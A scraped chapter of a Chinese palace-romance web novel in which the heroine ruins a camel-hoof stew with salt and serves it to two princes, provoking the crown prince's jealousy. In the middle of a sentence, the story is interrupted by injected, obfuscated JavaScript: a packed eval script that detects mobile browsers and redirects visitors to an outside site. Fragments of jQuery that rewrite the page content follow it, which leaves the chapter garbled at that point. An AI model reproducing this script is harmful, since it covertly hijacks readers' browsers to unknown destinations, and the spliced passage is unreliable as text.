43.黑暗料理

作品:《太子命短,我护短

    43黑暗料理


    午时初的阳光还算暖和,通过窗棂斜斜洒进东宫膳房,饭菜蒸腾的热气一缕一缕地升起,与光交织。


    一名食官令正全神贯注地搅拌着锅中羹汤,丝毫未察觉身后悄悄靠近的身影。


    弥乐踮着脚尖,好奇地探过头,想瞧瞧那咕嘟冒泡的锅里炖着什么东西。


    忽然,一旁切菜的供膳瞥见她,厉声喝道:“何人擅闯后厨?!”


    食官令闻声扭头,见到弥乐时,连连行礼,“见过郡主。”


    他当然认识这位难缠的主儿,砸了书殿屋顶,还将这膳房的糕点洗劫一空。


    那供膳后知后觉,惶恐跪地:“卑职眼拙,不知是郡主驾临,方才多有冒犯……”


    弥乐浑不在意地扶她起身,双眼炯炯有神,问道:“今日都准备了什么好菜?”


    “回郡主,有消灵炙、驼蹄羹、金齑玉鲙、浑羊殁忽、芜菁菹……”


    供膳听话地将菜名依次报出。


    每说一道,她眼皮就跟着跳一下。


    这一连串她哪听说过,简直闻所未闻。


    “停。”她终于忍不住打断,“什么乱七八糟的?我刚刚是听到…有驼蹄是吧?”


    这些冗长复杂的菜名,她只听得懂这道,只因这道是南疆传来的。


    “回郡主,是的。”


    “哪呢?”


    一旁的食官令赶忙侧身,引她看向自己面前那口正冒着热气的锅:“郡主,正在这儿炖着呢。”


    “不错嘛!”弥乐一时兴起,挽起袖子,“勺子给我,让我也学学。”


    “不可不可,使不得使不得……”


    食官令看得心惊胆战,这要是伤着一点,整个膳房的人都得吃罪。


    弥乐忽然想起,与祁玄初次用膳时,无芨捏着银针挨个试毒的情景,心下也明了了,这东宫膳房想必是极为严苛。


    还怕她下毒!


    小气。


    可她原本计划着,替祁城烨做道菜,博博好感,现下可不能就这点小事而放弃!


    她退而求其次,“你们就在我旁边看着,总行了吧?”


    在食官令战战兢兢的指导下,弥乐像模像样地学着,轮到打碎骆蹄的时候,她拒绝了,“这骆蹄得一块一块的才好。”


    食官令道:“可我们做的是羹啊。”


    弥乐皱眉:“你懂还是我懂?”


    食官令哽咽住,思来想去,这格桑王来自南疆,这道菜来自南疆,这郡主又是格桑王之女……


    他微微欠身,“自然是您懂。”


    弥乐跟着“学”了良久,加料勾芡,一气呵成。


    举着大勺搅拌了半天,搅得胳膊肘酸痛。


    “郡主,现在该放盐了。”食官令小心提醒。


    “我来!”弥乐信心满满,抓起手边的陶盐罐就往锅里倒。可她平日舞惯了刀枪,手下没个轻重,只听“哗啦”一声——


    食官令看着那锅珍贵的骆蹄羹,此时却覆上一层“白雪”,脸都白了,嘴唇哆嗦着,“这……这……”


    弥乐也意识到自己闯了祸,看着手里瞬间轻了不少的盐罐,有些讪讪地放下,“好像……是稍微多了一点点?”


    何止是一点点!


    那供膳在呆在一旁,这盐量,怕是能让一头骆驼齁着。


    “加水加水!”弥乐急中生智,顺手从旁边的水桶里舀起一大勺清水就倒了进去。


    清澈的水冲入浓白的汤中,食官令心疼地看着自己熬了半日的汤羹,就这么毁于一旦。


    他嘴巴欲张欲合,奈何想说的话堵在喉咙里。


    一旁的供膳小心翼翼问:“郡主,不如,倒掉重做吧……”


    弥乐望着锅中骆蹄,虽是南疆菜,但名贵至极,只在宫宴上有,寻常百姓穷尽一生也难尝滋味。


    她从未受邀赴宴,自然也从未尝过。


    她不忍心就这么糟蹋了,拿起桌上的羹勺取了一口尝尝,味道居然还不错。


    又可能,是她没吃过好的……


    她说道:“能吃,倒掉浪费了岂不是?”


    “那……”食官令一咬牙,“那便开饭吧……”


    “开饭!”


    弥乐端着盛满骆蹄羹的玉盘一蹦一跳地跑到祁玄跟前,兴奋得跟只小喜鹊似的。


    “何故如此激动?”


    祁玄见她笑容满面,原本因博弈而紧蹙的眉头骤然舒展。


    “我饿啦!”


    弥乐道。


    祁玄莞尔一笑,冲祁城烨开口:“兄长,不如我们改日再对弈。”


    “哈哈哈。”祁城烨发出爽朗的笑声,储君发话,怎好拒绝,“正好我也饿了。”


    宴桌前,弥乐坐在二位皇子的中间,感慨道:


    “还是你们做皇子的日子好过,吃得好穿的好,每天下下棋养养花花草草,过得好生惬意。”


    祁城烨接过话:“你可是说我院里的玉兰?”


    此言一出,祁玄目光灼灼,好不高兴。


    弥乐道:“嗯!瞧你那花开得真好!你可真是闲情逸致啊。”


    祁城烨大方开口,“你若喜欢便拿几盏去。”


    站在一旁伺候的无芨恍惚了一瞬,要说这皇宫里不能动的东西,一是陛下祁连煌内殿的壁画,二是太子祁玄的山水刺绣图,三是二皇子祁诏的随身配剑,这四嘛……


    便是大皇子的养在院外的盏盏白玉兰。


    今个怎么肯往外送了。


    紧接着,弥乐声音更令他胆寒。


    “没有啊,我不是很喜欢啊。”


    无芨吓破胆,用脚踢了踢她的椅子。


    姑奶奶,您可别说了……


    祁玄不合时宜地笑了。


    弥乐被无芨这么一提醒,连连改口,


    “不过,我妹妹肯定喜欢!那就请你忍痛割爱,送我一盆吧!”


    祁城烨面上也没有怒气,弥乐这口不择言的性子,他是知晓的,也甚是喜欢。


    他柔声道:“明日我给你送去。”


    祁玄又不合时宜地气了。


    “那我便谢过城宣王。”弥乐随意拱了拱手,用筷子夹起一块骆蹄,给祁城烨碟子里放上去,“尝尝!”


    无芨的腿,又踢了踢她。


    你怎么能给大殿下夹菜呢!


    弥乐反应过来,抬头,便看见祁玄阴沉的脸……


    不是,这兄弟怎么了?


    她连忙给祁玄也夹了一块,“您也尝尝……”


    雨露均沾,雨露均沾嘛。


    无芨面无血色,想再踢,也是踢不动了。


    你怎么敢给太子夹菜!


    不符身份、不符礼制、况且、也不卫生啊!!


    只见自家殿下从一开始的怒气,变得稍好一些,只是不高兴。


    无芨也不管了。


    吃吧吃吧就。


    “大殿下?太子府这吃食怎么样?还行吗?”


    弥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841565|189157||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乐两眼放光看着他俩。


    他俩尝了一口弥乐夹过来的骆蹄,眉头在一瞬间同时皱紧。


    皇子就是皇子,喜怒不形于色。


    祁城烨笑了笑,点头,“还行。”


    倒是祁玄,本身就气着,现下吃了这齁咸的骆蹄,身为主家,自然是面上无光。


    “呵呵。”祁城烨问,“太子府的御厨可是俸禄给少了?”


    弥乐接话:“什么话?祁舜尧经常拖欠人家工钱?”


    只见祁玄眼里就快喷出火来,拿着筷子的手止不住微微颤抖。


    无芨身为近卫,见这一幕,秉着职责拿起一旁闲置的筷子尝了尝骆蹄。


    出于职位素养,憋着齁咸的劲儿,硬吞了下去,又尝了其他菜,还好味道鲜美……


    他拱手道:“实在是怠慢二位了…其余膳食都正常可食,唯有这骆蹄不知是何人所做,卑职一会儿下令彻查……”


    祁城烨火上浇油,“小恩人,你若不嫌弃,去我府上用膳?”


    弥乐浑然不知风雪即将到来,点头答应,“可以啊,什么时候?”


    “无芨!撤下去。”祁玄带着怒气出声打断他俩。


    “什么?”弥乐用筷子拦下无芨,“我还没吃呢?”


    无芨的手悬在半空,面露愁色。


    这是撤,还是不撤?


    “撤。”祁玄冷冷发话。


    “是。”无芨赶紧把这不堪入口的东西端走。


    “别啊,你们吃不下可以给我吃呀。”


    弥乐又拦,可没拦住,眼看着自己熬了半天的骆蹄羹,就这么被端下去倒掉,觉得可惜,更觉得可气!


    这菜虽说洒多了盐,可她也补救过,端上来之前,也尝过,是能入得下口的。


    见祁玄毫无征兆的甩脸色,给谁看呢!


    弥乐自然是不服,摔了筷子,


    “祁舜尧!觉得难以下咽,吐了便是,你生气做什么?还是说,你金枝玉叶,口味刁钻,只吃得了你厨子做的?吃不了旁人做的?”


    此言一出,祁玄怒火瞬间熄灭了,缓缓抬头,对上弥乐气急败坏的眼神,他嘴唇张了又合,一时间说不出半个字来。


    “去你府上吃。”弥乐起身踢了踢椅子,对祁城烨撂下这句话后,扭头就走。


    “好。”祁城烨应声点头,对祁玄微微欠身,“舜尧,友人以走,见你也失了对弈的雅兴,那我就先行告退了。”


    见二人离去,无芨一脸茫然地回来。


    祁玄问:“骆蹄呢?”


    无芨答:“方才倒掉了。”


    祁玄叹了口气,放下筷子,一手捂着额头,无人知晓他的情绪,良久后,他的声音轻悠悠传来,“都撤下去吧。”


    “殿下!除了方才那道,其余的都是正常的。”无芨拿起一旁的新筷,递上前,担忧道:“殿下您都好几日没进食了。”


    祁玄挥了挥手,拒绝了。


    无芨不敢抗命,终究是将膳食一一撤走。


    去往城宣王府路上,弥乐踢了踢脚边的石子,实在是想不通,问祁城烨:“真的很难以入口?”


    “能吃到郡主亲手做的,实乃城烨之幸,怎会难以入口。”祁城烨诚恳回答。


    弥乐摆手,“你不用安慰我,我知道,是比不上那御厨做的,但也不至于难吃到生气起来吧?”


    “他不是为这生气。”


    “那是为什么?”


    祁城烨轻轻摇头,没回答。